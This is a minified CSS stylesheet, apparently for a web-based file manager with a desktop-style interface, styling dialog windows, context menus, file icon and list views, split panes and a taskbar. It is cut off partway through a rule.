button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui_outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui_state_lock .aui_nw,.aui_state_lock .aui_n,.aui_state_lock .aui_ne,.aui_state_lock .aui_w,.aui_state_lock .aui_e,.aui_state_lock .aui_sw,.aui_state_lock .aui_s,.aui_state_lock .aui_se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui_titleBar{position:relative;height:100%;}.aui_title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui_state_focus .aui_mask{display:none;}.aui_state_focus .aui_outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui_state_focus .aui_title{background-color:#63acff;}.aui_state_drag .aui_title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui_min,.aui_max,.aui_close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui_min:hover,.aui_max:hover,.aui_close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui_close:hover{background:#cc0000;}.aui_min{right:82px;content:"\f068";}.aui_max{right:43px;content:"\f065";}.aui_close{right:5px;content:"\f00d";}.aui_min:before{content:"\f068";}.aui_max:before{content:"\f065";}.aui_close:before{content:"\f00d";}.dialogMax .aui_max:before{content:"\f066";}.aui_max,.aui_min{display:none;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_se{width:5px;height:5px;}.aui_state_noTitle .aui_titleBar{bottom:0;_bottom:0;_margin-top:0;}.aui_state_noTitle .aui_outer{box-shadow:none !important;border:none !important;}.aui_state_noTitle .aui_inner{border:1px solid #aaa;}.aui_state_noTitle .tips{padding:15px;padding-left:10px;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_n,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_w,.aui_state_noTitle .aui_e,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_s,.aui_state_noTitle .aui_se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui_state_noTitle .aui_close,.aui_state_noTitle .aui_max,.aui_state_noTitle .aui_min{display:none;font-size:1em;}.dialogMax .aui_nw,.dialogMax .aui_ne,.dialogMax .aui_sw,.dialogMax .aui_se,.dialogMax .aui_w,.dialogMax .aui_e{width:0px;}.dialogMax .aui_sw,.dialogMax .aui_n,.dialogMax .aui_se{height:0px;}.dialogMax .aui_outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:9999;display:block;}.dialog-can-resize .resize-top{z-index:0;cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{z-index:0;cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{z-index:0;cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{z-index:0;cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui_min,.dialog-can-resize .aui_max{display:block;}body div.dialog-simple .aui_titleBar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui_border{border:none;}body div.dialog-simple .aui_outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui_inner{border:none;background:none;}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_n,body div.dialog-simple .aui_ne,body div.dialog-simple .aui_w,body div.dialog-simple .aui_e,body div.dialog-simple .aui_sw,body div.dialog-simple .aui_s,body div.dialog-simple .aui_se{background:none;}body div.dialog-simple .aui_title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui_min,body div.dialog-simple .aui_max,body div.dialog-simple .aui_close{border:none;top:6px;display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui_min:hover,body div.dialog-simple .aui_max:hover,body div.dialog-simple .aui_close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui_min:active,body div.dialog-simple .aui_max:active,body div.dialog-simple .aui_close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui_main{background:none !important;}body div.dialog-simple .aui_max{right:30px;}body div.dialog-simple .aui_min{right:56px;}body div.dialog-simple .aui_dialog,body div.dialog-simple .aui_border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui_header{opacity:0.01;filter:alpha(opacity=1);}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_ne{height:0px;}body div.dialog-simple .dialog_mouse_in .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui_state_drag .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialogMax .aui_header{opacity:1.0;filter:alpha(opacity=100);}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 20px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:25px;font-size:1.2em;color:#aaa;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line_top{border-top:1px solid #ddd !important;}#selContainer{position:absolute;width:0px;height:0px;border:1px solid #005ec9;background-color:#63acff;z-index:1000;opacity:0.5;filter:alpha(opacity=50);}#selContainer:hover{cursor:default;}.file-draging{position:absolute;left:0;top:0px;z-index:1000;pointer-events:none;opacity:0.95;}.file-draging.fileList_icon,.file-draging.fileList_list,.file-draging.fileList_list_split{z-index:1000;overflow:visible;}.file-draging.fileList_icon div.file,.file-draging.fileList_list div.file,.file-draging.fileList_list_split div.file{clear:both;position:absolute;margin:0;transition:none !important;}.file-draging.fileList_icon div.file.handle_target,.file-draging.fileList_list div.file.handle_target,.file-draging.fileList_list_split div.file.handle_target{z-index:999;}.draggable-dragging{z-index:9999;clear:both !important;pointer-events:none;position:absolute !important;padding:5px;opacity:0.9;filter:alpha(opacity=90);background:#4285f4;border-radius:4px;color:#fff;box-shadow:3px 5px 15px rgba(0,0,0,0.2);font-size:1.15em;}.draggable-dragging .drag_number{display:none;}.draggable-dragging span{line-height:25px;padding-left:5px;padding-right:15px;}.draggable-dragging span .font-icon{display:inline-block;width:22px;height:22px;text-align:center;line-height:22px;color:#fff;font-size:1.0em;font-weight:800;margin-right:10px;border-radius:12px;}.draggable-dragging span .bg-default{background:#b9e0ff;color:#4285f4;}.draggable-dragging span .bg-ok{background:#6ee273;}.draggable-dragging span .bg-error{background:#FB2500;}.draggable-dragging span b{padding-right:15px;}.item-file-draging{opacity:0.5;filter:alpha(opacity=50);}.selectDragDraging{cursor:move;cursor:-webkit-grabbing;}.selectDragDraging .fileList_icon .selectDragTemp{transform:scale(1.1,1.1);}.fileContiner .file .filename .title{cursor:text;}.fileList_icon{padding:10px 0 0 10px;}.fileList_icon .meta_info{height:22.5px;width:22.5px;margin-right:6.75px;margin-top:-22.5px;position:absolute;right:0;}.fileList_icon .meta_info img{width:100%;height:100%;}.fileList_icon .file{color:#335;border:1px solid transparent;box-shadow:0px 0px 2px rgba(255,255,255,0);-webkit-transition:background 0.2s, border 0.2s, color 0.2s;-moz-transition:background 0.2s, border 0.2s, color 0.2s;-o-transition:background 0.2s, border 0.2s, color 0.2s;-ms-transition:background 0.2s, border 0.2s, color 0.2s;transition:background 0.2s, border 0.2s, color 0.2s;width:60px;height:75px;text-decoration:none;margin:0;margin-right:10px;margin-bottom:10px;overflow:hidden;float:left;}.fileList_icon .file .ico{-webkit-transition:all 0.168s;-moz-transition:all 0.168s;-o-transition:all 0.168s;-ms-transition:all 0.168s;transition:all 0.168s;}.fileList_icon .file.hover{border:1px solid #dedede;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#eeeeee');background:#eeeeee;background-image:-webkit-linear-gradient(top,#fafafa,#eeeeee);background-image:-moz-linear-gradient(top,#fafafa,#eeeeee);background-image:-o-linear-gradient(top,#fafafa,#eeeeee);background-image:-ms-linear-gradient(top,#fafafa,#eeeeee);background-image:linear-gradient(top,#fafafa,#eeeeee);-pie-background:linear-gradient(to top,#fafafa,#eeeeee);border-radius:3px;}.fileList_icon .file .filename{width:60px;cursor:default;text-align:center;word-break:break-all;font-size:1.0em;margin:0 auto;line-height:1.5em;padding-bottom:5px;}.fileList_icon .file .filename .textarea{position:absolute;font-size:1.0em;text-align:center;margin-left:-1px;margin-top:-3px;}.fileList_icon .file .filename #pathRenameTextarea,.fileList_icon .file .filename .newfile{width:60px;padding:2px 0px;margin-top:0px;overflow-y:hidden;border:1px solid #888;font-size:1.0em;text-align:center;line-height:1.5em;position:absolute;z-index:999;border-bottom-left-radius:3px;border-bottom-right-radius:3px;}.fileList_icon .file .filename #pathRenameTextarea:focus,.fileList_icon .file .filename .newfile:focus{outline:none;}.fileList_icon .file.select,.fileList_icon .file.selectDragTemp{border:1px solid #d2d2d2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#d9d9d9');background:#d9d9d9;background-image:-webkit-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-moz-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-o-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-ms-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:linear-gradient(top,#f3f3f3,#d9d9d9);-pie-background:linear-gradient(to top,#f3f3f3,#d9d9d9);border-radius:3px;padding:0px;}.fileList_icon .file.file_icon_edit{overflow:visible;}.fileList_icon .file.file_icon_edit .filename{position:absolute;z-index:99;}.fileList_icon .file .ico{height:60px;width:60px;padding-top:4px;text-align:center;vertical-align:middle;display:table-cell;}.fileList_icon .file .ico img{height:100% \9;max-height:100%;max-width:100%;border-radius:5px;}.fileList_icon .file .ico.picasaImage{background:none;width:50px;padding-left:5px;}.fileList_icon .file .ico.picasaImage img{-webkit-box-shadow:1px 1px 5px rgba(0,0,0,0.2);-moz-box-shadow:1px 1px 5px rgba(0,0,0,0.2);box-shadow:1px 1px 5px rgba(0,0,0,0.2);width:100% \9;max-width:100%;border-radius:0px;}.fileList_icon .file .ico.picasaImage img.lazyload_ready{-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none;}@media screen and (max-width:100000px){div.fileList_icon div.file{ display:inline-block;max-height:152px;vertical-align:top;float:none;height:auto;}}.context-menu-item.set-file-icon-size .box-size-smallx{font-size:0.9em;}.context-menu-item.set-file-icon-size .box-size-small{font-size:1.0em;}.context-menu-item.set-file-icon-size .box-size-default{font-size:1.15em;}.context-menu-item.set-file-icon-size .box-size-big{font-size:1.25em;}.context-menu-item.set-file-icon-size .box-size-bigx{font-size:1.35em;}#list_type_list{z-index:5;position:absolute;width:100%;top:85px;}#main_title{background:#fff;border-bottom:1px solid #e3e3e3;box-shadow:0 2px 10px rgba(0,0,0,0.06);}#main_title .box-shadow(1px 2px 15px #dde) + div{cursor:pointer;overflow:hidden;}#main_title div span{float:right;margin-right:8px;margin-top:0px;}#main_title .filename,#main_title .filesize,#main_title .filetype,#main_title .filetime{float:left;cursor:pointer;overflow:hidden;line-height:25px;height:25px;border-right:1px solid #eee;padding-left:10px;margin-left:-10px;font-size:1.0em;color:#448;}#main_title .filename:hover,#main_title .filesize:hover,#main_title .filetype:hover,#main_title .filetime:hover{background:#eee;}#main_title .resize{float:left;width:20px;cursor:col-resize;margin-left:-10px;height:25px;z-index:9999;position:relative;}#main_title .current{background:rgba(0,0,0,0.8);}#main_title .filename{width:250px;padding-left:20px;margin-left:0px;}#main_title .filetype{width:80px;}#main_title .filesize{width:80px;text-align:right;padding-left:0px;padding-right:10px;}#main_title .filetime{width:150px;padding-right:6px;}#main_title .filesize span{margin-right:0px;}#main_title .this{font-weight:800;background:#eee;}.fileList_list,.fileList_list_split{padding-top:5px;width:100%;z-index:0;}.fileList_list .file,.fileList_list_split .file{color:#335;border:1px solid transparent;box-shadow:0px 0px 2px rgba(255,255,255,0);margin-left:10px;-webkit-transition:background 0.2s, border 0.2s, color 0.2s;-moz-transition:background 0.2s, border 0.2s, color 0.2s;-o-transition:background 0.2s, border 0.2s, color 0.2s;-ms-transition:background 0.2s, border 0.2s, color 0.2s;transition:background 0.2s, border 0.2s, color 0.2s;height:25px;}.fileList_list .file .ico,.fileList_list_split .file .ico{-webkit-transition:all 0.168s;-moz-transition:all 0.168s;-o-transition:all 0.168s;-ms-transition:all 0.168s;transition:all 0.168s;}.fileList_list .file2,.fileList_list_split .file2{background:#edf5ff;}.fileList_list .hover,.fileList_list_split .hover{border:1px solid #dedede;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fafafa', endColorstr='#eeeeee');background:#eeeeee;background-image:-webkit-linear-gradient(top,#fafafa,#eeeeee);background-image:-moz-linear-gradient(top,#fafafa,#eeeeee);background-image:-o-linear-gradient(top,#fafafa,#eeeeee);background-image:-ms-linear-gradient(top,#fafafa,#eeeeee);background-image:linear-gradient(top,#fafafa,#eeeeee);-pie-background:linear-gradient(to top,#fafafa,#eeeeee);border-radius:3px;}.fileList_list .select,.fileList_list .selectDragTemp,.fileList_list_split .select,.fileList_list_split .selectDragTemp{border:1px solid #d2d2d2;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#f3f3f3', endColorstr='#d9d9d9');background:#d9d9d9;background-image:-webkit-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-moz-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-o-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:-ms-linear-gradient(top,#f3f3f3,#d9d9d9);background-image:linear-gradient(top,#f3f3f3,#d9d9d9);-pie-background:linear-gradient(to top,#f3f3f3,#d9d9d9);border-radius:3px;padding:0px;}.fileList_list .select .children_more i.font_icon,.fileList_list .selectDragTemp .children_more i.font_icon,.fileList_list_split .select .children_more i.font_icon,.fileList_list_split .selectDragTemp .children_more i.font_icon{color:#63acff !important;}.fileList_list .meta_info,.fileList_list_split .meta_info{display:inline-block;float:initial;width:15px;height:15px;padding:0;position:relative;top:6px;margin:0px 0 0 -15px;}.fileList_list .meta_info img,.fileList_list_split .meta_info img{width:100%;height:100%;}.fileList_list .file,.fileList_list_split .file{width:80%;overflow:hidden;height:27px;}.fileList_list .file .ico,.fileList_list .file .filename,.fileList_list .file .filetype,.fileList_list .file .filesize,.fileList_list .file .filetime,.fileList_list .file .children_more,.fileList_list_split .file .ico,.fileList_list_split .file .filename,.fileList_list_split .file .filetype,.fileList_list_split .file .filesize,.fileList_list_split .file .filetime,.fileList_list_split .file .children_more{float:left;line-height:28px;height:28px;font-size:1.0em;cursor:default;overflow:hidden;padding-left:15px;}.fileList_list .file .children_more,.fileList_list_split .file .children_more{width:20px;height:28px;text-align:center;padding-left:0px;}.fileList_list .file .children_more i.font_icon,.fileList_list_split .file .children_more i.font_icon{font-size:15px;color:#aaa;cursor:pointer;display:inline-block;width:20px;line-height:28px;height:28px;font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;}.fileList_list .file .children_more i.font_icon::after,.fileList_list_split .file .children_more i.font_icon::after{content:"\f0da";}.fileList_list .file .children_more i.font_icon.cert_open::after,.fileList_list_split .file .children_more i.font_icon.cert_open::after{content:"\f0d7";}.fileList_list .file .children_more i.font_icon:hover,.fileList_list_split .file .children_more i.font_icon:hover{background:rgba(0,0,0,0.05);color:#63acff;}.fileList_list .file.loading_children .ico .x-item-file,.fileList_list_split .file.loading_children .ico .x-item-file{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.fileList_list .file .filetype,.fileList_list_split .file .filetype{width:90px;}.fileList_list .file .filesize,.fileList_list_split .file .filesize{width:90px;text-align:right;padding-left:0px;padding-right:10px;}.fileList_list .file .filetime,.fileList_list_split .file .filetime{width:200px;}.fileList_list .file .filename,.fileList_list_split .file .filename{width:240px;word-break:break-all;padding-left:0px;}.fileList_list .file .filename .textarea,.fileList_list_split .file .filename .textarea{font-size:1.0em;display:inline-block;margin-left:-2px;}.fileList_list .file .filename #pathRenameTextarea,.fileList_list .file .filename .newfile,.fileList_list_split .file .filename #pathRenameTextarea,.fileList_list_split .file .filename .newfile{height:24px;line-height:24px;z-index:999;width:200px;min-width:150px;border:none;font-size:1.0em;padding-left:2px;padding-top:2px;}.fileList_list .file .filename #pathRenameTextarea:focus,.fileList_list .file .filename .newfile:focus,.fileList_list_split .file .filename #pathRenameTextarea:focus,.fileList_list_split .file .filename .newfile:focus{outline:none;}.fileList_list .file .filename .title,.fileList_list_split .file .filename .title{word-break:break-all;}.fileList_list .file .ico,.fileList_list_split .file .ico{height:22px;width:22px;padding:0px;line-height:20px;margin-right:4px;margin-top:4px;text-align:center;vertical-align:bottom;display:table-cell;}.fileList_list .file .ico img,.fileList_list_split .file .ico img{height:100% \9;max-height:100%;max-width:100%;margin-top:-5px;}.fileList_list .file .filename .textarea{position:absolute;}.list_split_box{position:absolute;bottom:0px;right:0px;left:0px;top:0px;margin-top:0;overflow:hidden;}.list_split_box .split_line{border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);width:250px;float:left;height:100%;}.fileList_list_split{overflow:hidden;}.fileList_list_split .file{width:97.5%;height:24px;margin-left:0.7%;position:relative;}.fileList_list_split .file.file2{background:none;}.fileList_list_split .file .ico,.fileList_list_split .file .filename,.fileList_list_split .file .filetype,.fileList_list_split .file .filesize,.fileList_list_split .file .filetime,.fileList_list_split .file .children_open{line-height:22px;height:22px;}.fileList_list_split .file .ico{height:22px;width:22px;margin-left:5px;margin-top:2px;}.fileList_list_split .file .filename{width:100%;}.fileList_list_split .file .filename span.title{position:absolute;overflow:hidden;}.fileList_list_split .file .filename #pathRenameTextarea,.fileList_list_split .file .filename .newfile{height:23px;line-height:23px;}.fileList_list_split .file .filename .title .textarea{margin-top:-2px;}.fileList_list_split .file .children_open{width:20px;height:28px;text-align:center;padding-left:0px;float:right;}.fileList_list_split .file .children_open i.font_icon{font-size:1.25em;color:#aaa;display:inline-block;width:20px;line-height:28px;height:28px;font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;-webkit-font-smoothing:antialiased;}.fileList_list_split .file .children_open i.font_icon::before{content:"\f0da";line-height:24px;}.fileList_list_split .file.select_split_parent{background:#e3f0ff;}.fileList_list_split .file.select_split_parent .children_open i.font_icon::before{content:"\f101";font-size:20px;}.fileList_list_split .split_box{border-right:1px solid #e6e6e6;border-right:1px solid rgba(150,150,150,0.15);width:250px;overflow:hidden;position:absolute;bottom:0px;left:0px;top:0px;border-bottom:5px solid transparent;}.fileList_list_split .split_box .content{overflow:auto;height:100%;margin:2px 0px 10px 0px;}.fileList_list_split .split_box.split_hover{background:#eef7ff;background:rgba(0,0,0,0.01);box-shadow:0 0 100px #eef7ff inset;border-bottom:5px solid #acd9ff;}.fileList_list_split .split_box.split_select{background:#dff0ff;background:rgba(0,0,0,0.01);box-shadow:0 0 40px #dff0ff inset;margin-left:-1px;border-left:1px solid #eee;border-color:#acd9ff;border-bottom:5px solid #2196F3;}.fileList_list_split .is_drag_split .split_drag{background:rgba(100,100,100,0.2);}.fileList_list_split .split_drag{position:absolute;top:0px;right:0px;bottom:0px;width:4px;cursor:col-resize;z-index:55;background:url("../../../images/common/resize.png") 2px 50% no-repeat;}.fileList_list_split .content_more{height:100px;position:relative;}.fileList_list_split .file .children_open i.font_icon{background:url("../../../images/common/tree.png") no-repeat 2px -350px \9\0;height:20px \9\0;}.fileList_list_split .file .children_open i.font_icon:before{display:none \9\0;}.fileList_list_split .file.select_split_parent .children_open i.font_icon{background:url("../../../images/common/tree.png") no-repeat -30px -350px \9\0;height:20px \9\0;}.fileList_list .file .children_more i.font_icon,.fileList_list_split .file .children_more i.font_icon{background:url("../../../images/common/tree.png") no-repeat 2px -350px \9\0;height:20px \9\0;}.fileList_list .file .children_more i.font_icon::after,.fileList_list_split .file .children_more i.font_icon::after{display:none \9\0;}.fileList_list .file .children_more i.font_icon.cert_open,.fileList_list_split .file .children_more i.font_icon.cert_open{background:url("../../../images/common/tree.png") no-repeat -15px -350px \9\0;}.fileList_list .file .children_more i.font_icon:hover,.fileList_list_split .file .children_more i.font_icon:hover{background:url("../../../images/common/tree.png") no-repeat -30px -350px \9\0;}.fileList_list .file .children_more i.font_icon.cert_open:hover,.fileList_list_split .file .children_more i.font_icon.cert_open:hover{background:url("../../../images/common/tree.png") no-repeat -47px -350px \9\0;}html,body{overflow:hidden;overflow-x:hidden;overflow-y:hidden;}body#page_desktop .topbar{background:#eee;background-color:rgba(190,190,190,0.3);box-shadow:0 0 10px rgba(0,0,0,0.2);}body#page_desktop .topbar .content{border-bottom:1px solid #ddd;border-bottom-color:transparent;}body#page_desktop .topbar .content .topbar_menu{color:#fff;border-color:rgba(190,190,190,0.1);}body#page_desktop .topbar .content .topbar_menu,body#page_desktop .topbar .content .topbar_menu.font-icon{text-shadow:0px 0px 0px #fff, 0px 0px 4px #000;}body#page_desktop .topbar .content .top_right div.share_info_user{color:#fff;}body#page_desktop .topbar .content .open .topbar_menu,body#page_desktop .topbar .content .topbar_menu:hover,body#page_desktop .topbar .content .topbar_menu.this{background:rgba(255,255,255,0.3);}.desktop{position:absolute;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;overflow:hidden;right:0px;bottom:0px;top:0px;left:0px;background-attachment:fixed;-webkit-transition:all ease .3s;-moz-transition:all ease .3s;-o-transition:all ease .3s;-ms-transition:all ease .3s;transition:all ease .3s;-moz-background-size:cover;-o-background-size:cover;-webkit-background-size:cover;background-size:cover;-ms-background-size:cover;background-size:100% 100%;}.desktop .background{position:absolute;overflow:hidden;width:100%;display:none;height:100%;right:0px;top:0px;bottom:0px;left:0px;}.desktop .fileList_icon{position:absolute;width:100%;bottom:32px;top:40px;overflow:auto;}.desktop .fileList_icon .file{float:none;color:#fff;border:none;display:inline-block;writing-mode:lr-tb;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;-o-transition:all 0.3s;-ms-transition:all 0.3s;transition:all 0.3s;text-shadow:0px 0px 0px #fff, 0px 0px 2px #000, 0px 0px 4px #000;}.desktop .fileList_icon .file .filename{padding-bottom:1px;}.desktop .fileList_icon .file.hover{background:#fff \9;background:rgba(255,255,255,0.2);background-color:#aaa\9;border:none;color:#fff;}.desktop .fileList_icon .file.select,.desktop .fileList_icon .file.selectDragTemp,.desktop .fileList_icon .file.select.hover,.desktop .fileList_icon .file.selectDragTemp.hover{background:#fff \9;background:rgba(255,255,255,0.4);border:none;color:#fff;background-color:#eee\9;color:#444\9;}.desktop .fileList_icon .file.select .filename,.desktop .fileList_icon .file.selectDragTemp .filename,.desktop .fileList_icon .file.select.hover .filename,.desktop .fileList_icon .file.selectDragTemp.hover .filename{background:none;}body .fileContiner.file-draging-box .fileList_icon .file{float:none;color:#fff;border:none;display:inline-block;text-shadow:0px 0px 0px #fff, 0px 0px 2px #000, 0px 0px 4px #000;}body .fileContiner.file-draging-box .fileList_icon .file .filename{padding-bottom:1px;}body .fileContiner.file-draging-box .fileList_icon .file.hover{background:#fff \9;background:rgba(255,255,255,0.2);background-color:#aaa\9;border:none;color:#fff;}body .fileContiner.file-draging-box .fileList_icon .file.select,body .fileContiner.file-draging-box .fileList_icon .file.selectDragTemp,body .fileContiner.file-draging-box .fileList_icon .file.select.hover,body .fileContiner.file-draging-box .fileList_icon .file.selectDragTemp.hover{background:#fff \9;background:rgba(255,255,255,0.4);border:none;color:#fff;background-color:#eee\9;color:#444\9;}body .fileContiner.file-draging-box .fileList_icon .file.select .filename,body .fileContiner.file-draging-box .fileList_icon .file.selectDragTemp .filename,body .fileContiner.file-draging-box .fileList_icon .file.select.hover .filename,body .fileContiner.file-draging-box .fileList_icon .file.selectDragTemp.hover .filename{background:none;}@media screen and (max-width:100000px){div.fileList_icon div.file{ display:inline-block;max-height:none;vertical-align:inherit;float:inherit;height:inherit;}}#taskbar{height:32px;position:fixed;bottom:0;left:0;width:100%;padding:0;margin:0;background:url('../../../images/common/desktop/taskbarbg.png');}#taskbar a{position:absolute;text-align:center;width:40px;height:40px;left:6px;}.taskbar_right{position:fixed;right:0px;bottom:-1px;z-index:99999;}.taskbar_right .copyright{float:left;cursor:pointer;color:#fff;padding-top:6px;font-size:20px;z-index:999;width:35px;height:21px;text-align:center;opacity:0.8;filter:alpha(opacity=80);}.taskbar_right .copyright:hover{text-shadow:0 0 10px #fff;opacity:1.0;filter:alpha(opacity=100);}.taskbar_right .tab_hide_all{width:23px;height:30px;border-radius:4px;cursor:pointer;border:1px solid rgba(255,255,255,0.4);float:right;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.taskbar_right .tab_hide_all:hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', 